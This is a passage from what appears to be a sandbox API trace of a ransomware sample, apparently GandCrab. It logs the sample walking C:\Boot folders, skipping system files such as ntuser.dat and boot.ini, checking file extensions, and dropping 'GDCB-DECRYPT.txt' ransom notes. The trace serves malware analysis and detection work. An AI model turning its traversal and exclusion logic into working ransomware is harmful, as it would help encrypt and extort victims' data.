(lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.286] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt" [0135.286] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.286] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0135.286] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0135.286] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0135.286] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0135.286] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.286] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.286] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.286] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.286] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.286] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.286] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.286] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.286] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.286] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.286] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.286] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.287] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.287] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\memtest.exe.mui") returned="C:\\Boot\\pt-PT\\memtest.exe.mui" [0135.287] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.287] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0135.287] lstrlenW (lpString="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0135.287] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.287] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.287] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.287] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.287] lstrcmpW (lpString1="qps-ploc", lpString2=".") returned 1 [0135.287] lstrcmpW (lpString1="qps-ploc", lpString2="..") returned 1 [0135.287] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="qps-ploc" | out: lpString1="C:\\Boot\\qps-ploc") returned="C:\\Boot\\qps-ploc" [0135.287] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc", lpString2="\\" | out: lpString1="C:\\Boot\\qps-ploc\\") returned="C:\\Boot\\qps-ploc\\" [0135.287] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.287] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.288] lstrlenW (lpString="C:\\Boot\\qps-ploc\\") returned 17 [0135.288] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="*" | out: lpString1="C:\\Boot\\qps-ploc\\*") returned="C:\\Boot\\qps-ploc\\*" [0135.288] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7600 [0135.289] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.289] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.289] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.289] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.289] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.289] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.289] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.289] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" [0135.289] lstrlenW (lpString="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 32 [0135.289] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.289] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.289] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.289] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.289] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt" [0135.289] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0135.289] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.289] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.289] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.289] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.289] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned="C:\\Boot\\qps-ploc\\memtest.exe.mui" [0135.289] lstrlenW (lpString="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 32 [0135.289] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.289] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.289] FindClose (in: hFindFile=0x2c7600 | out: hFindFile=0x2c7600) returned 1 [0135.290] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.290] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\qps-ploc\\\\GDCB-DECRYPT.txt") returned 34 [0135.290] CreateFileW (lpFileName="C:\\Boot\\qps-ploc\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\qps-ploc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.292] GetLastError () returned 0x50 [0135.292] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.292] lstrlenW (lpString="C:\\Boot\\qps-ploc\\") returned 17 [0135.292] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="*" | out: lpString1="C:\\Boot\\qps-ploc\\*") returned="C:\\Boot\\qps-ploc\\*" [0135.292] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c79c0 [0135.292] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.292] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.292] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.292] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.292] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.292] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.292] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.293] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" [0135.293] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.293] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 32 [0135.293] lstrlenW (lpString="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 32 [0135.293] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.293] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.293] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.293] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.293] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt" [0135.293] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.293] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0135.294] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0135.294] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0135.294] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0135.294] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.294] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.294] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.294] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.294] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.294] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.294] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.294] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.294] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.294] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.294] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.294] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.294] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.294] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned="C:\\Boot\\qps-ploc\\memtest.exe.mui" [0135.294] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.294] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 32 [0135.294] lstrlenW (lpString="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 32 [0135.294] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.294] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.294] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.295] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.295] lstrcmpW (lpString1="Resources", lpString2=".") returned 1 [0135.295] lstrcmpW (lpString1="Resources", lpString2="..") returned 1 [0135.295] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Resources" | out: lpString1="C:\\Boot\\Resources") returned="C:\\Boot\\Resources" [0135.295] lstrcatW (in: lpString1="C:\\Boot\\Resources", lpString2="\\" | out: lpString1="C:\\Boot\\Resources\\") returned="C:\\Boot\\Resources\\" [0135.295] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.295] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.295] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.295] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.295] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.295] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.295] lstrlenW (lpString="C:\\Boot\\Resources\\") returned 18 [0135.295] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\*") returned="C:\\Boot\\Resources\\*" [0135.295] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7780 [0135.296] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.296] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.296] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.296] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.296] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.296] lstrcmpW (lpString1="bootres.dll", lpString2=".") returned 1 [0135.296] lstrcmpW (lpString1="bootres.dll", lpString2="..") returned 1 [0135.296] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="bootres.dll" | out: lpString1="C:\\Boot\\Resources\\bootres.dll") returned="C:\\Boot\\Resources\\bootres.dll" [0135.296] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0135.296] lstrcmpW (lpString1=".dll", lpString2=".sql") returned -1 [0135.296] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.296] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0135.296] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0135.296] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="en-US" | out: lpString1="C:\\Boot\\Resources\\en-US") returned="C:\\Boot\\Resources\\en-US" [0135.296] lstrlenW (lpString="C:\\Boot\\Resources\\en-US") returned 23 [0135.296] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.296] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.296] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.296] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\GDCB-DECRYPT.txt" [0135.296] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0135.296] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.296] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.296] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.296] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.296] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\Resources\\\\GDCB-DECRYPT.txt") returned 35 [0135.296] CreateFileW (lpFileName="C:\\Boot\\Resources\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\resources\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.297] GetLastError () returned 0x50 [0135.297] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.297] lstrlenW (lpString="C:\\Boot\\Resources\\") returned 18 [0135.297] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\*") returned="C:\\Boot\\Resources\\*" [0135.297] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7a80 [0135.297] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.297] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.297] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.297] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.297] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.297] lstrcmpW (lpString1="bootres.dll", lpString2=".") returned 1 [0135.297] lstrcmpW (lpString1="bootres.dll", lpString2="..") returned 1 [0135.297] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="bootres.dll" | out: lpString1="C:\\Boot\\Resources\\bootres.dll") returned="C:\\Boot\\Resources\\bootres.dll" [0135.297] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.297] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\bootres.dll") returned 29 [0135.297] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0135.297] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.297] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.297] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0135.297] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0135.297] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="en-US" | out: lpString1="C:\\Boot\\Resources\\en-US") returned="C:\\Boot\\Resources\\en-US" [0135.297] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US", lpString2="\\" | out: lpString1="C:\\Boot\\Resources\\en-US\\") returned="C:\\Boot\\Resources\\en-US\\" [0135.297] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.298] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.298] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.298] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.298] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.298] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.298] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\") returned 24 [0135.298] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\en-US\\*") returned="C:\\Boot\\Resources\\en-US\\*" [0135.298] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0x2c7900 [0135.298] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.298] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0135.298] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.298] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.298] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0135.298] lstrcmpW (lpString1="bootres.dll.mui", lpString2=".") returned 1 [0135.298] lstrcmpW (lpString1="bootres.dll.mui", lpString2="..") returned 1 [0135.298] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="bootres.dll.mui" | out: lpString1="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" [0135.298] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0135.298] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.298] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0135.298] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.298] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.298] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt" [0135.298] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0135.298] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.298] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0 [0135.298] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.298] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.298] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\Resources\\en-US\\\\GDCB-DECRYPT.txt") returned 41 [0135.298] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\resources\\en-us\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.299] GetLastError () returned 0x50 [0135.299] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.299] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\") returned 24 [0135.299] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\en-US\\*") returned="C:\\Boot\\Resources\\en-US\\*" [0135.299] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 0x2c7600 [0135.299] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.299] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0135.299] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.299] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.299] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0135.299] lstrcmpW (lpString1="bootres.dll.mui", lpString2=".") returned 1 [0135.299] lstrcmpW (lpString1="bootres.dll.mui", lpString2="..") returned 1 [0135.299] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="bootres.dll.mui" | out: lpString1="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" [0135.299] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.299] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0135.300] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0135.300] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.300] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0135.300] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.300] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.300] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt" [0135.300] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.300] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0135.300] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0135.300] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0135.300] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0135.300] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.300] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.300] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.300] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.300] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.300] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.300] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.300] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.300] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.300] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 